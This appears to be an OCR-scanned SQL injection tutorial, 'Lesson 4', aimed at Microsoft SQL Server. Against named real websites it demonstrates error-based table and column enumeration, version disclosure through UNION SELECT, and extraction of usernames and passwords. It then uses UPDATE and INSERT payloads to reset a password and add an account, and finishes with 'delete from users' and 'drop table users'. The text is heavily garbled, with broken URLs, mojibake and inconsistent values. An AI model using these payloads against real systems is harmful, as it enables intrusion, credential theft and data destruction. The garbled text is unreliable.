SQL Injection (Lesson 4)
(Using SQL Server)
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getting table names and column names

http://www.iribnews.ir/Full_fa.asp?news_id=85175734060657 < Culw

http://www.iribnews.ir/Full_fa.asp?news_id='
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ".

/Full_fa.asp, line 29
http://www.iribnews.ir/Full_fa.aspews_id="%20'%20having%201=1--
Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'iribnews_fa.Lead' is invalid in the select list because it is not contained in an aggregate function and there is no
GROUP BY clause.

[Full_fa.asp, line 29

iribnews_fa= the table name
Lead= thefirst column name

http://www.iribnews.ir/Full_fa.asp™ews_id="%20group%20by%620iribnews_fa.Lead%20having%201=1--
Microsoft OLE DB Provider for SQL Server error '‘80040e14'

Column ‘iribnews_fa.Title' is invalid in the select list because it is not contained in either an aggregate function or the
GROUP BY clause.

/Full_fa.asp, line 29

http://www.iribnews.ir/Full_fa.asp?ews_id="%20group%20by%20iribnews_fa.Lead,iribnews_fa Title%
20having%201=1--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column ‘iribnews_fa.date' is invalid in the select list because it is not contained in either an aggregate function or the
GROUP BY clause.

/Full_fa.asp, line 29
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=>

iribnews faLead, iribnews faTitle, iribnews fa.date, iribnews_fatime, iribnews fafa date, iribnews fanews num
iribnews fa.Type, iribnews fa.code, iribnews fa.prm_news, iribnews fa.sec_news, iribnews fakeyword,
iribnews_fa.content , iribnews _fa.ext_link1 , iribnews fa.ext_link2 , iribnews fa.ext_link3 , iribnews fapicl_path,
iribnews fa.pic2_path , iribnews_fa.pic3_path , iribnews favideo, iribnews faAudiol _path, iribnews faAudio2_path,
iribnews _faAudio3_path, iribnews fa.Videol path, iribnews fa.Video2_path, iribnews fa.Video3_path

getting column types

http://www.iribnews.ir/Full_fa.asp™ews _id="%20'%20union%20sel ect%20sum(titl€)%620from%20iribnews fa--


http://www.iribnews.ir/Full_fa.asp?news_id='
http://www.iribnews.ir/Full_fa.asp?news_id='%��'%��having%���=�--
http://www.iribnews.ir/Full_fa.asp?news_id=''%��group%��by%��iribnews_fa.Lead%��having%���=�--
http://www.iribnews.ir/Full_fa.asp?news_id=''%��group%��by%��iribnews_fa.Lead,iribnews_fa.Title%

Microsoft OLE DB Provider for SQL Server error '80040e07"
The sum or average aggregate operation cannot take a varchar data type as an argument.

[Full_fa.asp, line 29
=>is non-numerical
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getting the version number of server

http://www.abong.org.br/novosite/institucional/associadas_pagpubli4.asp?midial
=Folhetos'%20UNION%20ALL%20SELECT%20null,null,null,
@@version,null,null,null,null,null,null,null,null,9999--

Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
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table names=users
column names=username , password

Getting Username & Password from table:

- Login: " union select min (name), 1,1 from users where username > 'a’;--

Microsoft OLE DB provider for ODBC driver error <80040e07’
[Microsoft][ODBC SQL server driver][SQL server] syntax error converting
the varchar value ‘ehsan2’ to a column of data type int.
/login.asp, line 28
ehsan2.:»  database 2 253« sla username 4 ol 6 (= G5 siwd )l edldinl b

piS o Joc 55 @lao 150> S 00 0SS Iy Sy
- Login: ' union sdect min (name), 1,1 from users where username > 'ehsan2’ ; --

Microsoft OLE DB provider for ODBC driver error <80040e07°
[Microsoft][ODBC SQL server driver][SQL server] syntax error converting
the varchar value ‘ahmadi’ to a column of datatypeint.

/login.asp, line 28
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- Login: " union sdlect password, 1,1 from users where username ='ehsan2' ; --

Microsoft OLE DB provider for ODBC driver error ‘80040e07’
[Microsoft] [ODBC SQL Server Driver] [SQL Server] syntax error converting
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the character value ‘frft23” to a column of a data type Int.
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- Login: ' UPDATE users set users.password = '46f7fk' where (users.username = 'ehsan2'); --

- Pass:
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Then Login with :
- Login: ehsan2
- Pass: 467tk
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- Login: ' insert into users(users.username,users.password) values (‘ali','123456'); --

- Pass:
258 Aag) 123456 2,500 L s ali 4! 42 username 4 a5 oo Yo st 3 oaliiul L

Then Login with :

- Login: ali
- Pass: 123456
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- Login: ehsan2' delete from users; --
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- Login: ' drop table users; --
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